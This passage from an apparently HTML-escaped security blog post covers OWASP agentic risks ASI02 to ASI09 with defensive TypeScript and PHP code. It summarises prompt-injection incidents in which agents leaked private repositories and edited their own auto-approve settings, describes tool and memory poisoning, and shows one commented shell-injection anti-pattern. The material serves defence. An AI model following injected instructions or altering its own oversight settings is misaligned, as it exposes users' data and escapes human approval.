&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; DossierSchema&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;agentOutput&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// zod: only the expected shape&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;asi02-tool-misuse--exploitation&quot;&gt;ASI02 Tool Misuse &amp;amp; Exploitation&lt;/h3&gt;
&lt;p&gt;The agent uses a legitimate tool, within its permissions, in a harmful way: deletes, abuses an expensive API, exfiltrates. In MCP, annotations like &lt;code&gt;readOnlyHint&lt;/code&gt; help, but the spec says clients must treat them as untrusted. &lt;strong&gt;The only guarantee is that the dangerous tool doesn’t exist.&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;server&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;registerTool&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&amp;#39;list_posts&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    description&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;Lists posts (read-only)&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    inputSchema&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; brand&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; z&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    annotations&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; readOnlyHint&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; brand &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; content&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; type&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;text&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; text&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; posts&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;brand&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// And no &amp;#39;publish_post&amp;#39; gets registered&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In Laravel MCP, the equivalents are the &lt;code&gt;#[IsReadOnly]&lt;/code&gt; and &lt;code&gt;#[IsDestructive]&lt;/code&gt; attributes.&lt;/p&gt;
&lt;h3 id=&quot;asi03-identity--privilege-abuse&quot;&gt;ASI03 Identity &amp;amp; Privilege Abuse&lt;/h3&gt;
&lt;p&gt;Inherited or shared credentials, unbounded delegation chains, and agents with no identity of their own, so nobody can attribute who did what. The GitHub MCP case (Invariant Labs, May 2025) is exactly this: a malicious issue in a public repo led the agent to leak private repos, because its token reached all of them.&lt;/p&gt;
&lt;pre class=&quot;language-php&quot; data-language=&quot;php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ❌ The agent uses an admin token&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// ✅ One token per agent and purpose, with the smallest ability&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;$token&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$bot&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;createToken&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;ingest-agent&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;licitaciones:ingest&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;plainTextToken&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token function&quot;&gt;abort_unless&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$request&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;tokenCan&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;licitaciones:ingest&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;403&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;asi04-agentic-supply-chain-vulnerabilities&quot;&gt;ASI04 Agentic Supply Chain Vulnerabilities&lt;/h3&gt;
&lt;p&gt;Same as LLM04, but &lt;strong&gt;live&lt;/strong&gt;: a third-party MCP server’s tools load when the agent starts, and their descriptions can change overnight to inject instructions (&lt;em&gt;tool poisoning&lt;/em&gt;). If you depend on someone else’s MCP, pin its fingerprint.&lt;/p&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ✅ If tool descriptors change, they aren&amp;#39;t used until someone reviews them&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; tools &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;listTools&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; hash &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createHash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;sha256&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tools&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;hash &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;APPROVED_TOOLS_HASH&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;MCP descriptors changed: review before use&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;asi05-unexpected-code-execution&quot;&gt;ASI05 Unexpected Code Execution&lt;/h3&gt;
&lt;p&gt;The agent generates or runs code (shell, &lt;code&gt;eval&lt;/code&gt;, package installs) and ends up compromising the host. The clearest case is GitHub Copilot’s CVE-2025-53773: an injection got agent mode to write the setting that auto-approves every command into &lt;code&gt;.vscode/settings.json&lt;/code&gt;. &lt;strong&gt;The agent was editing its own configuration.&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ❌ exec(`git log ${modelArg}`)  → a shell plus the model&amp;#39;s text&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// ✅ Fixed binary, arguments as an array, no shell, and an allowlist&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;log&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;status&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sub&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;Subcommand not allowed&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;execFile&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;git&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;sub&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;--oneline&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;-n&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;20&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; cwd&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; repoDir&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; shell&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cb&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;asi06-memory--context-poisoning&quot;&gt;ASI06 Memory &amp;amp; Context Poisoning&lt;/h3&gt;
&lt;p&gt;Poisoning persistent memory, summaries or RAG to bias future sessions. Single-turn injection is LLM01; this is the kind that stays.&lt;/p&gt;
&lt;pre class=&quot;language-php&quot; data-language=&quot;php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ❌ Global memory written from whatever anyone said&lt;/span&gt;
&lt;span class=&quot;token class-name static-context&quot;&gt;Memory&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;fact&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$out&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;learned&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// ✅ With an owner, provenance and expiry; never from untrusted content&lt;/span&gt;
&lt;span class=&quot;token class-name static-context&quot;&gt;Memory&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;user_id&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;fact&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$out&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;learned&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;source&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;chat&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;expires_at&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;addDays&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;asi07-insecure-inter-agent-communication&quot;&gt;ASI07 Insecure Inter-Agent Communication&lt;/h3&gt;
&lt;p&gt;Messages between agents without authentication, integrity or replay protection. If one agent takes orders from another, those orders must be signed and must expire.&lt;/p&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; sig &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createHmac&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;sha256&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; key&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;msg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;msg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exp&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;msg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;body&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Date&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; msg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exp &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;timingSafeEqual&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sig&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Buffer&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;msg&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sig&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;reject&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;msg&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;asi08-cascading-failures&quot;&gt;ASI08 Cascading Failures&lt;/h3&gt;
&lt;p&gt;Not the origin of the failure but its &lt;strong&gt;propagation&lt;/strong&gt;: a hallucination or a malicious input gets amplified from agent to agent, or turns into a retry storm. The defence is ceilings and idempotent jobs.&lt;/p&gt;
&lt;pre class=&quot;language-php&quot; data-language=&quot;php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ✅ A ceiling per run and per window: every row is an AI call&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;$pending&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name static-context&quot;&gt;Interaction&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;whereNull&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;category&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;created_at&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;subHours&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;limit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;asi09-human-agent-trust-exploitation&quot;&gt;ASI09 Human-Agent Trust Exploitation&lt;/h3&gt;
&lt;p&gt;Exploiting a person’s trust in the agent so that they perform the final action, with their name on it. The defence is having the person approve &lt;strong&gt;the real thing&lt;/strong&gt; (the exact text, the exact recipient), not the agent’s summary of it. And a detail people forget: if the approval link acts on a GET, the email scanner that previews links approves it.&lt;/p&gt;
